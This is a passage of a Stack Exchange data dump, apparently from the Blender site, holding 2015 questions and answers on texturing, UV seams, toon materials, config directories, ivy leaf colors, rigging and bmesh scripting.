  <row Id="35261" PostTypeId="2" ParentId="35254" CreationDate="2015-08-07T14:48:56.877" Score="0" Body="&lt;p&gt;Texture &gt; Image Texture, then connect it to the Diffuse Shader&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BpG6f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BpG6f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-07T14:48:56.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35262" PostTypeId="2" ParentId="35254" CreationDate="2015-08-07T14:49:02.540" Score="4" Body="&lt;p&gt;What you are looking for is in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\scripts\addons\cycles\shader\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You want to look into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;node_texture_coordinate.oso&#xA;node_image_texture.oso&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will find there links to appropriate .osl or .h files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In those you will find the code and implementation.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-07T14:49:02.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35263" PostTypeId="2" ParentId="34685" CreationDate="2015-08-07T15:26:06.303" Score="10" Body="&lt;p&gt;Here is a very simple, purely material based solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plug the &lt;em&gt;Object&lt;/em&gt; coordinates in to a &lt;em&gt;Gradient Texture&lt;/em&gt; node.&lt;br&gt;&#xA;Set the Gradient Texture to &lt;em&gt;Radial&lt;/em&gt;.&lt;br&gt;&#xA;Drop in a &lt;em&gt;ColorRamp&lt;/em&gt; node between the Gradient and the shader node.&lt;br&gt;&#xA;Set that color ramp to &lt;em&gt;Constant&lt;/em&gt; and add color stops for each part of the pie chart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Percent based pie charts are very easy because the color stops have a position field where you can type in the decimal equivalent.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wlLql.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wlLql.png&quot; alt=&quot;cycles material nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the result of the above nodes.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kOqH8.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kOqH8.png&quot; alt=&quot;rendered result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-08-07T15:26:06.303" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35264" PostTypeId="1" CreationDate="2015-08-07T16:13:25.260" Score="1" ViewCount="207" Body="&lt;p&gt;I'm new to texturing in blender and I've learnt how to unwrap cylinders properly. However, what is the correct/efficient way to unwrap simple faces? The face I've selected are distorted in the UV view (become a triangle). What's the reason behind that? Any help is appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aObbB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aObbB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15885" LastActivityDate="2015-08-07T16:13:25.260" Title="How to mark seams for simple planes?" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="35265" PostTypeId="2" ParentId="35243" CreationDate="2015-08-07T16:18:33.703" Score="3" Body="&lt;p&gt;The recent files list is stored within blenders config directory. Blender searches three places to find it's config files, referred to as the &lt;em&gt;local&lt;/em&gt;, &lt;em&gt;user&lt;/em&gt; and &lt;em&gt;system&lt;/em&gt; locations, see &lt;a href=&quot;http://www.blender.org/manual/getting_started/installing_blender/directorylayout.html&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; for platform specific variations. The first place searched is a local config folder that is in the same location as the datafiles installed with blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way would be to keep two copies of blender, and create a local config folder for the 'SE' copy so that when you run the 'SE' copy you get a unique config which includes it's own recent files list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also adjust the locations that are searched by setting the environment variable &lt;code&gt;BLENDER_USER_CONFIG&lt;/code&gt;. The available environment variables can be listed by running &lt;code&gt;blender --help&lt;/code&gt; in a terminal.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Environment Variables:&lt;BR&gt;&#xA;    $BLENDER_USER_CONFIG &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Directory for user configuration files.&lt;BR&gt;&#xA;    $BLENDER_USER_SCRIPTS &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Directory for user scripts.&lt;BR&gt;&#xA;    $BLENDER_SYSTEM_SCRIPTS &amp;nbsp;&amp;nbsp; Directory for system wide scripts.&lt;BR&gt;&#xA;    $BLENDER_USER_DATAFILES &amp;nbsp;&amp;nbsp;&amp;nbsp; Directory for user data files (icons, translations, ..).&lt;BR&gt;&#xA;    $BLENDER_SYSTEM_DATAFILES Directory for system wide data files.&lt;BR&gt;&#xA;    $BLENDER_SYSTEM_PYTHON &amp;nbsp;&amp;nbsp; Directory for system python libraries.&lt;BR&gt;&#xA;    $TMP or $TMPDIR &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Store temporary files here.&lt;BR&gt;&#xA;    $SDL_AUDIODRIVER &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LibSDL audio driver - alsa, esd, dma.&lt;BR&gt;&#xA;    $PYTHONHOME &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Path to the python directory, eg. /usr/lib/python.&lt;BR&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;On a *nix system you can create a shell script called &lt;code&gt;blender-se&lt;/code&gt; which sets this location before starting blender.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#/bin/sh&#xA;BLENDER_USER_BASE=/tmp/config/blender-se/&#xA;blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when you call blender normally the normal config files will be used. On windows a similar .bat file could be used.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-08-07T16:18:33.703" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35266" PostTypeId="1" AcceptedAnswerId="35304" CreationDate="2015-08-07T16:40:42.117" Score="2" ViewCount="1282" Body="&lt;p&gt;So, I finally got my model's foot paw look good and decided to duplicate it for the other leg. When I mirror the foot paw, it darkens out (see picture below). Is this something I need to be concerned about? If yes, how do I avoid this from happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/c1qrE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/c1qrE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16007" LastActivityDate="2021-02-08T14:48:52.520" Title="Mesh darkens after mirroring" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35267" PostTypeId="1" AcceptedAnswerId="35271" CreationDate="2015-08-07T17:13:41.637" Score="5" ViewCount="2941" Body="&lt;p&gt;Is it possible to set up a Toon Ramp Material that would use image textures instead of flat colors?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually do a Toon with Ramp checked, interpolation set to Constant, and input set to result to get a hard edge transition with full control over the &quot;shadow&quot; color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Maya you can plug image textures into the color slots on a ramp so you can cheat a cel shadow over an image texture by having a &quot;normal&quot; colored image transition to a &quot;shadow&quot; colored image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a node set-up for this? Is there another way to get this effect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/a6fnI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a6fnI.png&quot; alt=&quot;toon_material&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15487" LastEditorUserId="5705" LastEditDate="2015-08-07T18:26:37.023" LastActivityDate="2015-08-07T18:26:37.023" Title="Is a Toon Ramp material with image textures possible?" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;&lt;npr&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35268" PostTypeId="2" ParentId="35205" CreationDate="2015-08-07T17:37:55.243" Score="5" Body="&lt;p&gt;Depending on how good your mesh is, the inset tool can do a pretty good job of offsetting inwards with odd shaped outlines. Press &lt;kbd&gt;I&lt;/kbd&gt; and move the mouse to adjust the amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with the messy mesh created from converting some text to mesh, only a couple of points need fixing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TNVkl.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TNVkl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-08-07T17:37:55.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35269" PostTypeId="2" ParentId="35230" CreationDate="2015-08-07T18:05:34.343" Score="1" Body="&lt;p&gt;Blender's &lt;a href=&quot;http://www.blender.org/manual/modeling/objects/duplication/dupliverts.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;dupliverts&lt;/a&gt; feature can duplicate an object at every vertex of an object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parent the object to the vertices only object by selecting the object you want duplicated then shift select the object that has only vertices and parent them by pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; and selecting object. Then in the Object properties under Duplication enable Verts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DWYVn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DWYVn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-08-07T18:05:34.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35270" PostTypeId="1" CreationDate="2015-08-07T18:15:48.087" Score="1" ViewCount="337" Body="&lt;p&gt;I'm trying to import a js &lt;a href=&quot;http://threejs.org/examples/models/skinned/marine/marine_anims.js&quot; rel=&quot;nofollow&quot;&gt;file&lt;/a&gt; with blending animations into Blender(v2.65) using the three.js(r66) importer, but it seems that the importer plug-in is not working properly, because nothing is shown in the scene. I tried to convert the js into an obj file and then import it into Blender, but only the mesh was imported, the blending animations were not imported. Can someone help me please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Three.js (r69) importer/exporter for Blender: &lt;a href=&quot;https://github.com/mrdoob/three.js/tree/master/utils/exporters/blender&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15368" LastEditorUserId="15368" LastEditDate="2015-08-08T14:47:08.120" LastActivityDate="2015-08-08T21:36:28.653" Title="How to import blending animations into Blender?" Tags="&lt;animation&gt;&lt;import&gt;&lt;three.js&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="35271" PostTypeId="2" ParentId="35267" CreationDate="2015-08-07T18:20:42.200" Score="7" Body="&lt;p&gt;You need to create 3 materials:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Toon with your setup with white and black colors&lt;/li&gt;&#xA;&lt;li&gt;A shadeless material with texture you wanna use on lit areas&lt;/li&gt;&#xA;&lt;li&gt;A shadeless material with texture for areas in shadow&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then you will combine them in 4th material using nodes like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tvKZb.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tvKZb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-08-07T18:20:42.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35272" PostTypeId="1" CreationDate="2015-08-07T19:31:05.090" Score="1" ViewCount="129" Body="&lt;p&gt;I have the node setup shown below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The input image size is 8000px by 4000px. The scale node is supposedly reducing this to 800px by 600px.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I hit render, and then manually save the output from the UV Image editor, I get exactly what I would expect (a nicely scaled image size 800px by 600px).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I go to look at the file generated by the file output node, I get a different result. I get an image of size 8000px by 4000px with my 800px by 600px shrunk image in the centre of a massive black border.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I make the file output node output a properly scaled image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Pki7z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pki7z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13661" LastEditorUserId="1245" LastEditDate="2015-08-07T20:53:18.373" LastActivityDate="2015-08-07T20:53:18.373" Title="File output node outputs wrong image resolution" Tags="&lt;compositor&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="0" ClosedDate="2015-08-08T08:11:47.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="35273" PostTypeId="1" AcceptedAnswerId="35274" CreationDate="2015-08-07T19:48:35.587" Score="10" ViewCount="3386" Body="&lt;p&gt;In order to make ivy created by IvyGen addon more attractive and convincing I'd like its leaves to have different colors, not repeating several times across a leaf (with that sharp and easy-to-see transition just in the leaf's center). The main problem here is that the leaves are all joined in one mesh, so the ColorRamp stops (used in material) assign to them as to one object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fIsyu.jpg&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fIsyu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to make the leaves colored differently and not repeating ?&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2017-01-18T01:33:06.973" Title="How to make ivy's leaves colored randomly?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35274" PostTypeId="2" ParentId="35273" CreationDate="2015-08-07T19:48:35.587" Score="13" Body="&lt;p&gt;I will post several possible ways to achieve this kind of task. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First way&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the most intuitive way is to use separating every single leaf into new object by using &lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;em&gt;By Loose Parts&lt;/em&gt; and it's already described &lt;a href=&quot;https://blender.stackexchange.com/a/27769/1245&quot;&gt;here&lt;/a&gt; (also some tutorials about modeling and rendering ivy use this technique as well). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main downside for this is that it needs large amount of computations and may freeze PC for some time. More than that, after the procedure is finished, the 3D Viewport still will response &lt;em&gt;much&lt;/em&gt; slower because there will be way more objects in the scene to take into account (in case of one not very large ivy  ~5000 objects, i.e. leaves). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Second way&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some great solutions are provided in &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?366586-I-can-t-make-the-leaves-of-different-colors-using-IviGen&quot; rel=&quot;nofollow noreferrer&quot;&gt;this thread&lt;/a&gt;. There are several of them (at least 3 different ones):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;using Random group connected to Color Group;&lt;/li&gt;&#xA;&lt;li&gt;using UV Align\Distribute addon (thus creating UV Map) and a script executing&lt;/li&gt;&#xA;&lt;li&gt;and the third one already listed here above&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The main reason why I decided to go further is that I wanted to get possibility to setup this color randomness really fast so to test some ivys while modeling environment scene (and also I didn't find that thread from the beginning).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Third way&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way assumes using 2 UV maps, one for different leaves' color, while another - for actually the texture (image based). Basically it is one of those listed in the BA thread (except for the script), only combined with another solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the ivy is created, it has UV map by default, and it's for actually image texture as is told above. &lt;br/&gt;&#xA;Therefore create one more UV map (I called it &quot;Leaves-1&quot;), it willl serve for different leaves' color task. With this map selected and set to active, enter &lt;em&gt;Edit mode&lt;/em&gt;, &lt;kbd&gt;U&lt;/kbd&gt; &gt; &lt;em&gt;Lightmap Pack&lt;/em&gt; (you may also use &lt;em&gt;Smart UV Project&lt;/em&gt; option as well, it will fit ivy leaves' needs).  After this is done, with leaves still selected, in &lt;strong&gt;Object Data&lt;/strong&gt; tab, &lt;em&gt;UV maps&lt;/em&gt; scroll hit that small camera button next to the default map so it to be one used for rendering.&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, setting nodes part. &lt;br/&gt;&#xA;Basically, the nodes will be the same as they are in case of leaves / plants creating - with alpha mask using, along bump and normal maps etc. except for one thing. Instead of using &lt;strong&gt;Object Info&lt;/strong&gt; node (with &lt;em&gt;Random&lt;/em&gt; output used) what should be done if using  first way, &lt;strong&gt;UV Map&lt;/strong&gt; node will be used with newly created UV map name assigned:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qCLPv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qCLPv.jpg&quot; alt=&quot;ivy-gen_Diff-Leaf-Color_3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ColorRamp used here will determine difference between leaves' image texture color. The result on the left is with bottom ColorRamp used. The result on the right is an attempt to add several hues, so I added &lt;strong&gt;Mapping&lt;/strong&gt; and &lt;strong&gt;Separate XYZ&lt;/strong&gt; nodes and added one more color stop in the ColorRamp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/25H67.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/25H67.jpg&quot; alt=&quot;ivy-color-ramps&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to change ColorRamp interpolation mode to &lt;em&gt;Constant&lt;/em&gt;, the difference of the leaves' color will be somewhat sharper. Also some colors will become more visible (brownish in my case)&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr/&gt;&#xA;&lt;strong&gt;Advantages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There shouldn't be done no additional computations&lt;/li&gt;&#xA;&lt;li&gt;Only one extra step required - this may be set up very fast&lt;/li&gt;&#xA;&lt;li&gt;The color manipulation is rather easy and comfortable (with ColorRamp)&lt;/li&gt;&#xA;&lt;li&gt;The result is looking somewhat convincing&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disadvantages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Some sharp color transition within one leaf sometimes may happen, especially with Interpolation mode set to &lt;em&gt;Constant&lt;/em&gt; in ColorRamp&lt;/li&gt;&#xA;&lt;li&gt;It's not the best solution if adding more colors to color stops is needed, it may not handle them all correctly&lt;/li&gt;&#xA;&lt;li&gt;Because of combining color and image texture is done with &lt;em&gt;MixRGB&lt;/em&gt; node image texture may become less visible (if the color appearence is set to high)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr/&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Addition&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And with mixing one of solutions from the Second way with this one the result may look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p3Y6u.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p3Y6u.jpg&quot; alt=&quot;color-ramp_With-Random-Group-Combine&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be achieved by connecting Random group (instead of &lt;strong&gt;UV Map&lt;/strong&gt; node) to the ColorRamp from the 3rd solution. Random Group is proposed in that &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?366586-I-can-t-make-the-leaves-of-different-colors-using-IviGen&amp;amp;p=2842636&amp;amp;viewfull=1#post2842636&quot; rel=&quot;nofollow noreferrer&quot;&gt;BA thread&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/o1oz1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o1oz1.jpg&quot; alt=&quot;ivy-gen_Diff-Leaf-Color_Random-Group&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-08-07T19:48:35.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35275" PostTypeId="1" CreationDate="2015-08-07T19:52:00.483" Score="1" ViewCount="210" Body="&lt;p&gt;I created a 3D model with Google SketchUp (with default SketchUp textures) and exported it into a .dae with the export options: Export Two-Sided Faces, Export Edges, Triangulate All Faces, Preserve Component Hierarchies, and Export Texture Maps checked.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then imported it into Blender, and created an Armature for the bones, next parented the model to the Armature.  After all that I went into weight painting and couldn't get it to fully paint even with it on full strength.  My goal is to get the rigged model into Unity and do some animations in Blender. I need help with the weight painting, can someone walk me through this and tell me what I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="16227" LastEditorUserId="2217" LastEditDate="2015-08-07T20:47:22.693" LastActivityDate="2015-08-07T20:47:22.693" Title="Help on weight painting and rigging .dae import from Google Sketchup" Tags="&lt;rigging&gt;&lt;import&gt;&lt;weight-painting&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35276" PostTypeId="1" CreationDate="2015-08-07T20:38:18.983" Score="2" ViewCount="1778" Body="&lt;p&gt;I know there is an option available in preferences to increase &quot;Width Outline&quot;. However this only applies to active object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway, through code manipulation possibly, to increase Line Width for all empties, latices, and objects in viewport? I believe the default value is 1px. &lt;/p&gt;&#xA;" OwnerUserId="16111" LastActivityDate="2015-08-08T11:38:27.030" Title="Increase Lines Width in Viewport" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ClosedDate="2018-01-09T13:05:54.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="35277" PostTypeId="1" AcceptedAnswerId="35288" CreationDate="2015-08-07T21:04:56.243" Score="3" ViewCount="1996" Body="&lt;p&gt;Let's say I've got a cube that spins around and moves, like so: (click for higher quality)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/SophisticatedHardtofindHawaiianmonkseal&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HHOd6.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the graph editor, it looks like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Rcg0o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rcg0o.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each axis of rotation and motion has its own line, but is there a way to manipulate the easing of the keyframe as a whole? It's nice to have the control over all aspects of the animation, but there are times where it's very inconvenient to have to manipulate every single axis to get a simple easing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Adobe Flash, you can manipulate the inbetween of two keyframes using this editor, regardless of the amount of scaling, rotation, and translating involved:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pM3eE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pM3eE.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something like that in Blender?&lt;/p&gt;&#xA;" OwnerUserId="7806" LastActivityDate="2015-08-27T16:25:13.667" Title="Is there a way to ease keyframes as a whole rather than easing each component?" Tags="&lt;animation&gt;&lt;keyframes&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35278" PostTypeId="1" CreationDate="2015-08-07T21:18:57.817" Score="1" ViewCount="1862" Body="&lt;p&gt;I'm struggling to learn Blender's structures and types and use Python to modify meshes.  In trying to sort out image updating, bmesh and mesh data, I copied the following code from the Blender 2.64 API reference (Blender 2.74 installed):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This example assumes we have a mesh object selected&#xA;&#xA;import bpy&#xA;import bmesh&#xA;&#xA;me = bpy.context.object.data&#xA;&#xA;bm = bmesh.new()   # create an empty BMesh&#xA;&#xA;bm.from_mesh(me)   # fill it in from a Mesh&#xA;&#xA;for v in bm.verts:&#xA;    v.co.x += 1.0&#xA;&#xA;bm.to_mesh(me)&#xA;&#xA;me.update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I added the last line as suggested by another question here.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the startup cube, and switching to Edit mode, I tried the script. &#xA;It fails, pointing to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm.to_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What have I missed?&lt;/p&gt;&#xA;" OwnerUserId="9598" LastEditorUserId="30849" LastEditDate="2018-10-06T10:26:26.520" LastActivityDate="2018-10-06T10:26:26.520" Title="Can't write bmesh object back to mesh datablock" Tags="&lt;python&gt;&lt;mesh&gt;&lt;editing&gt;&lt;bmesh&gt;&lt;object-mode&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
